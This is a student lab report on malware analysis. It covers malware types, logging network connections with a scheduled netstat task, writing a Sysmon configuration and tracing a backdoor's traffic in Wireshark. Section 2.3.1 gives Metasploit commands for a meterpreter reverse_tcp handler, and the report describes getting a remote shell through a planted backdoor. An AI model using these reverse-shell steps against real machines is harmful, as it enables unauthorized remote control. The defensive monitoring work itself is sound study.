Exp4 恶意代码分析

一、实验前期准备

  • 1.1 恶意代码定义
- Malware is a set of instructions that run on your computer and make your system do something that an attacker wants it to do.
- 使计算机按照攻击者的意图运行以达到恶意目的的指令集合。
- 指令集合: 二进制执行文件, 脚本语言代码, 宏代码, 寄生在文件、启动扇区的指令流
- 恶意代码目的: 技术炫耀/恶作剧, 远程控制, 窃取私密信息,盗用资源, 拒绝服务/破坏, …
  • 1.2 恶意代码类型
- 计算机病毒, 蠕虫, 恶意移动代码, 后门, 特洛伊木马, 僵尸程序, Rootkit等…
- 计算机病毒是最早出现的恶意代码,媒体/工业界的概念混淆,经常以计算机病毒(Computer Virus)等价于恶意代码
恶意代码类型 定义特征 典型实例
计算机病毒(Virus) 通过感染文件**(可执行文件、数据文件、电子邮件等) Brain,Concept,
通过磁盘引导扇区进行传播,一般需要宿主程序被执行或人为交互才能运行 CIH
蠕虫(Worm) 一般为不需要宿主的单独文件,通过网络传播,自动复制,通常无需人为交互便可感染传播 Red,Slammer Morris,Code
恶意移动代码(Malicious mobilecode 从远程主机下载到本地执行的轻量级恶意代码,不需要或仅需要极少的人为干预。代表性的开发工具有JavaScript,VBScript,Java,以及ActiveX SantyWorm
后门(Backdoor) 绕过正常的安全控制机制,从而为攻击者提供访问途径 Netcat,BO,冰河
特洛伊木马(Trojan) 伪装成有用软件,隐藏其恶意目标,欺骗用户安装执行 Setiri
僵尸程序(Bot) 使用一对多的命令与控制机制组成僵尸网络 Sdbot,Agobot
内核套件(Rootkit) 通过替换或修改系统关键可执行文件(用户态),或者通过控制操作系统内核(内核态)用以获取并保持最高控制权(rootaccess) LRK,FU,hdef
融合型恶意代码 融合上述多种恶意代码技术,构成更具破坏性的恶意代码形态 Nimda
  • 1.3 实验目标
    1.系统运行监控
    使用如计划任务,每隔一分钟记录自己的电脑有哪些程序在联网,连接的外部IP是哪里。运行一段时间并分析该文件,综述一下分析结果。目标就是找出所有连网的程序,连了哪里,大约干了什么(不抓包的情况下只能猜),你觉得它这么干合适不。如果想进一步分析的,可以有针对性的抓包。
    安装配置sysinternals里的sysmon工具,设置合理的配置文件,监控自己主机的重点事可疑行为。
    2.恶意软件分析
    分析该软件在(1)启动回连,(2)安装到目标机(3)及其他任意操作时(如进程迁移或抓屏,重要是你感兴趣)。该后门软件读取、添加、删除了哪些注册表项,读取、添加、删除了哪些文件,连接了哪些外部IP,传输了什么数据

二、实践内容

1.系统运行监控-任务计划

先来学习一下schtasks的命令,贴上参考链接schtasks的命令

  • 2.1.1 写好脚本(实际上就是命令行语句)netcontrol1330.bat,再新建一个txt文档netstatlog.txt用于接收数据
    代码如下:
date /t >> C:\Users\10275\Desktop\netstatlog.txt
time /t >> C:\Users\10275\Desktop\netstatlog.txt
netstat -bn >> C:\Users\10275\Desktop\netstatlog.txt

截图如下:

  • 2.1.2 用命令行创建一个计划任务
    代码如下:
win+R
cmd
schtasks /create /TN netcontrol1330 /sc MINUTE /MO 1 /TR "cmd /c netstat -bn > C:\Users\10275\Desktop\netstatlog.txt"

截图如下:

TN是创建的计划任务名是netcontrol1227,sc表示计时方式,TR表示执行的指令,>表示输出重定向

  • 2.1.3 打开任务计划程序
    首先需要 “WIN+R”调出“运行”窗口,输入“taskschd.msc”按回车。
    截图如下:

  • 2.1.4 在常规中选择使用最高权限运行,在条件中关闭电源限制

电源限制可以选择性使用,此处只是为了收集更多的信息,所以关闭了电源限制
截图如下:

  • 2.1.5 在操作栏清空参数,选择批处理文件
    截图如下:

  • 2.1.6 等待一段时间得到数据
    截图如下:

  • 2.1.7 收集完毕后打开Excel分析,过程如下:
    ①新建excel,数据→自文本→选择数据源→netcontrol1227.txt,勾选分隔符号
    截图如下:

②选择要分析的列——>选择插入——>选择数据透视图——>直接默认值确认,右侧选择分析的日期,拖入下方的轴和值
截图如下:

③同样的方法,可以得到连接的外部ip地址的统计图
截图如下:

  • 2.1.8 分析结果
    出现最多的是TCP,established,established意思是TCP连接成功,再下来就是[wps.exe],下面列举出来连接最多的外部网站,端口基本上都是通过443端口(https)。
    截图如下:

2.系统运行监控——sysmon

sysmon是由Windows Sysinternals出品的一款Sysinternals系列中的工具,用来监视和记录系统活动,并记录到windows事件日志,可以提供有关进程创建,网络链接和文件创建时间更改的详细信息。

过滤事件选项:
UtcTime, ProcessGuid, ProcessId, Image, CommandLine, CurrentDirectory, User, LogonGuid, LogonId, TerminalSessionId, IntegrityLevel, Hashes, ParentProcessGuid, ParentProcessId, ParentImage, ParentCommandLine

③进程创建时间FileCreatTime

过滤事件选项:
UtcTime, ProcessGuid, ProcessId, Image, TargetFilename, CreationUtcTime, PreviousCreationUtcTime

④网络连接NetworkConnect

过滤事件选项:
UtcTime, ProcessGuid, ProcessId, Image, User, Protocol, Initiated, SourceIsIpv6, SourceIp, SourceHostname, SourcePort, SourcePortName, DestinationIsIpv6, DestinationIp, DestinationHostname, DestinationPort, DestinationPortName

⑤远程线程创建CreateRemoteThread

过滤事件选项:
UtcTime, SourceProcessGuid, SourceProcessId, SourceImage, TargetProcessGuid, TargetProcessId, TargetImage, NewThreadId, StartAddress, StartModule, StartFunction
  • 2.2.2 编写配置文件
    创建一个txt文件,写好配置文件后将文件后缀改为.xml
    代码如下:
<Sysmon schemaversion="4.81">
  <!-- Capture all hashes -->
  <HashAlgorithms>*</HashAlgorithms>
  <EventFiltering>
    <!-- Log all drivers except if the signature -->
    <!-- contains Microsoft or Windows -->
    <ProcessCreate onmatch="exclude">     
      <Image condition="end with">chrome.exe</Image> 
      <Image condition="end with">QQBrowser.exe</Image> 
    </ProcessCreate>
 
    <FileCreateTime onmatch="exclude" >
      <Image condition="end with">chrome.exe</Image>
    </FileCreateTime>
    
    <NetworkConnect onmatch="exclude">
      <Image condition="end with">chrome.exe</Image>
      <SourcePort condition="is">137</SourcePort>
      <SourceIp condition="is">127.0.0.1</SourceIp>
    </NetworkConnect>
    <NetworkConnect onmatch="include">     
      <DestinationPort condition="is">80</DestinationPort>      
      <DestinationPort condition="is">443</DestinationPort>    
    </NetworkConnect>
 
    <CreateRemoteThread onmatch="include">
      <TargetImage condition="end with">explorer.exe</TargetImage>
      <TargetImage condition="end with">svchost.exe</TargetImage>
      <TargetImage condition="end with">winlogon.exe</TargetImage>
      <SourceImage condition="end with">powershell.exe</SourceImage>
    </CreateRemoteThread>
  </EventFiltering>
</Sysmon>

该代码意义如下:
1.onmatch选项只能设置为include或者exclude,exclude相当于白名单,不用记录;include相当于黑名单
2.第一行的sysmon版本号要跟使用的sysmon一致(当前版本是4.81)
3.Image condition根据自己使用的浏览器更改,如谷歌浏览器是“chrome.exe”,IE浏览器是“iexplore.exe”,火狐浏览器是“firefox.exe”,QQ浏览器是“QQBrowser.exe”,写在exclude中就是不记录由谷歌浏览器创建的进程
4.进程创建时间类似,也是不创建浏览器创建进程的时间
5.网络连接过滤掉了浏览器的网络连接、源IP为127.0.0.1(localhost)的网络连接和目的端口为137的连接服务,且查看目的端口为80(http)和443(https)的网络连接。
6.137端口的主要作用是在局域网中提供计算机的名字或IP地址查询服务,一般安装了NetBIOS协议后,该端口会自动处于开放状态
7.127.0.0.1表示回环地址
8.远程线程创建记录了目标为explorer.exe、svchost.exe、winlogon.exe和powershell.exe 的远程线程
9.explorer.exe是Windows程序管理器或者文件资源管理器
10.svchost.exe是一个属于微软Windows操作系统的系统程序,是从动态链接库 (DLL) 中运行的服务的通用主机进程名称
11.winlogon.exe是Windows NT 用户登陆程序,用于管理用户登录和退出
12.powershell.exe是专为系统管理员设计的新 Windows 命令行外壳程序。该外壳程序包括交互式提示和脚本环境,两者既可以独立使用也可以组合使用

  • 2.2.3 启动sysmon
    cd进入包含sysmom.exe的文件夹
输入指令.\Sysmon.exe -i sysmon1227.xml安装Sysmon,点击Agree

截图如下:

  • 2.2.4 打开日志
    打开事件查看器(win+R运行eventvwr.msc)——>应用程序和服务日志->Microsoft->Windows->Sysmon->`Operational

    打开kali,Win运行后门文件20191330_backdoor.exe,回到kali,kali执行shell获取win10的cmd。
    截图如下:

  • 2.2.5 再次查看日志

3.恶意软件分析

  • 2.3.1 用wireshark分析TCP包

  • ncat传送后门程序

我这里用的payload是windows/meterpreter/reverse_tcp
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 1330
set LHOST 192.168.3.100

注意看前两行,先由kali端向主机端发送连接请求,被拒绝了,回了一个[rst,ack]包。
再看3-5行,这是典型的tcp三次握手建立连接

三、实验回答问题

(1)如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么。请设计下你想监控的操作有哪些,用什么方法来监控。
答:可以通过以下方式监控:
①监控网络连接。
②当某个系统进程出现多个时,重点监控。
③监控注册表的变化。
④监控未知的IP的异常频率的连接。
⑤监控系统日志的变化。
(2)如果已经确定是某个程序或进程有问题,你有什么工具可以进一步得到它的哪些信息。
答:可以通过以下工具得到信息:
①创建计划任务,跟踪该进程的网络连接。
②使用Systracer拍摄系统的多个快照,并对不同的时刻拍下的快照进行对比,分析改变的注册表的变化。
③wireshark监视该程序的数据包。
④用Process Explorer获取其命令行,路径,连接的端口号以及本机开放的端口号等信息。

四、实验问题

  • 4.1.1 网卡设置

五、实验感悟

本次实验操作主要是对恶意代码进行检测,虽然网络防守实验不如上次网络攻击实验有趣,但网络防守端更考验技术水平,通过本次实验,我们解除了上次实验的忧虑,学习了怎么查看系统的状态以及分析恶意代码的存在。植入后门或许并不难,所以对于系统的状态以及后门的分析就尤为重要了,比起后门攻击,分析虽然略显枯燥,但是分析的确很有必要。

posted @ 2022-04-12 08:56  20191330雷清逸  阅读(122)  评论(0编辑  收藏  举报